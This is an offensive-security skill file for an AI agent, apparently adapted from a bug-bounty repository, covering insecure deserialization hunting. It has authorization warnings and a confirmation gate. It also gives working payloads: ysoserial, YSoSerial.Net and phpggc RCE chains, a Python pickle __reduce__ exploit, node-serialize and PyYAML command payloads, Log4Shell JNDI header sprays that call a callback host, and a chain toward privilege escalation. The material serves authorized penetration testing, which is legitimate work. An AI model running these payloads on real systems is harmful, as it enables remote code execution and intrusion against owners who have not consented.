--- name: hunt-deserialization description: Hunt Insecure Deserialization category: security risk: offensive source: https://github.com/elementalsouls/Claude-BugHunter source_repo: elementalsouls/Claude-BugHunter source_type: community date_added: '2026-09-20' license: MIT license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE compatibility: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled. sources: hackerone_public report_count: 22 --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. # HUNT-DESERIALIZATION — Insecure Deserialization ## Crown Jewel Targets Deserialization severity depends on attacker control, reachable deserialization, available gadgets, privileges and demonstrated impact; a signal alone is not RCE. **Highest-value chains:** - **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution - **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE - **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')` - **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE - **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE - **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE --- ## Attack Surface Signals ### Detection Patterns ```bash # Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64) echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 # PHP serialization: O:8:"stdClass":0:{} # Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02 # Apache Shiro: rememberMe cookie present curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe" # Log4j: test user-controlled fields for JNDI interpolation curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/ ``` ### Header / Cookie Signals ``` Content-Type: application/x-java-serialized-object Cookie containing rO0= prefix (Java base64 serialized) Cookie: rememberMe= (Apache Shiro) Cookie: _VIEWSTATE (ASP.NET ViewState without encryption) Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/ ``` --- ## Step-by-Step Hunting Methodology ### Phase 1 — Java Deserialization (ysoserial) ```bash # Install ysoserial # Prerequisite: a previously reviewed immutable ysoserial-all.jar; stop if absent. # Generate OOB detection payload java -jar ysoserial-all.jar CommonsCollections6 \ 'curl http://COLLAB_HOST/ysoserial' | base64 -w0 # Send as body or cookie java -jar ysoserial-all.jar CommonsCollections6 'id' | \ curl -s https://$TARGET/wls-wsat/CoordinatorPortType \ -H "Content-Type: application/x-java-serialized-object" \ --data-binary @- # Apache Shiro exploit (default AES key) python3 shiro_exploit.py -u https://$TARGET/ -c "id" ``` ### Phase 2 — PHP Object Injection ```bash # Find unserialize() calls in source grep -r "unserialize(" --include="*.php" . # Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";} # Send in cookie, POST param, or hidden form field # Error changes are a lead; use approved controls and source/runtime evidence. # Craft gadget chain using phpggc # Prerequisite: an existing reviewed phpggc installation; stop if absent. php phpggc -l # list chains php phpggc Laravel/RCE5 system id | base64 ``` ### Phase 3 — Python Pickle ```bash # Generate OOB payload python3 -c " import pickle, os, base64 class Exploit(object): def __reduce__(self): return (os.system, ('curl http://COLLAB_HOST/pickle-rce',)) print(base64.b64encode(pickle.dumps(Exploit())).decode()) " # Send as cookie or POST body curl -s https://$TARGET/api/load-model \ -H "Content-Type: application/octet-stream" \ --data-binary @payload.pkl ``` ### Phase 3b — PHP phar://, Python YAML, Node deserialization - **PHP phar:// (no `unserialize()` call)** — older PHP runtimes could automatically deserialize metadata through filesystem access. PHP 8 stopped that automatic behavior; explicit `getMetadata()` may still deserialize. Verify the exact version/call path. ```bash phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call ``` - **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe: `!!python/object/apply:os.system ['curl http://$COLLAB/yaml']` - **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`: `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}` ### Phase 4 — .NET ViewState ```bash # Check if ViewState is unsigned (MAC disabled) # Presence of __VIEWSTATE or absence of a separate __VIEWSTATEMAC field does # not prove MAC is disabled. Verify configuration and controlled tamper behavior. # YSoSerial.Net dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \ -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64 ``` ### Phase 5 — Log4Shell / JNDI ```bash # Test all user-controlled inputs COLLAB="COLLAB_HOST" for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" & done # Test POST body fields curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}" ``` ### Phase 6 — Ruby Marshal ```bash # Look for Marshal.load in source grep -r "Marshal.load\|Marshal.restore" --include="*.rb" . # Gem::Requirement gadget chain via marshalable objects # Use ruby-advisory-db gadgets ``` --- ## Chain Table | Deserialization signal | Chain to | Impact | |-----------------------|----------|--------| | Confirmed lab RCE | Harmless unique marker | Demonstrate minimum authorized effect | | RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root | | Blind RCE (OOB callback) | DNS callback → investigate originating path | Outbound interaction only until execution is proven | | Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process | --- ## Automation ```bash # OOB listener interactsh-client -v -n 5 # JNDI exploit kit git clone https://github.com/pimps/JNDI-Exploit-Kit ``` --- ## Validation ✅ A correlated DNS/HTTP callback supports outbound interaction; it does not alone prove deserialization or command execution ✅ Command output in response: full RCE confirmed **Severity:** Assess the demonstrated effect and prerequisites; do not assign Critical from a fingerprint or callback alone. ## When to Use - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement. - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope. ## Limitations - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command. - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed. - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab. ### Example ```bash # Read-only first step; confirm scope before anything active. cat scope.txt # target list from the authorized engagement brief ``` > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled. The direct binary-body example sends serialized bytes; base64 is only correct when the target explicitly decodes it. The Python example prints base64 but does not create `payload.pkl`; do not send a nonexistent/different artifact. JNDI lookup is not automatically class loading/RCE on patched JVMs. Keep tests bounded, use a unique controlled callback, do not read secrets/escalate privileges/write persistent files, and stop at the authorized proof. Review/pin any external kit before use. See [PHP implemented metadata change](https://wiki.php.net/rfc/phar_stop_autoloading_metadata).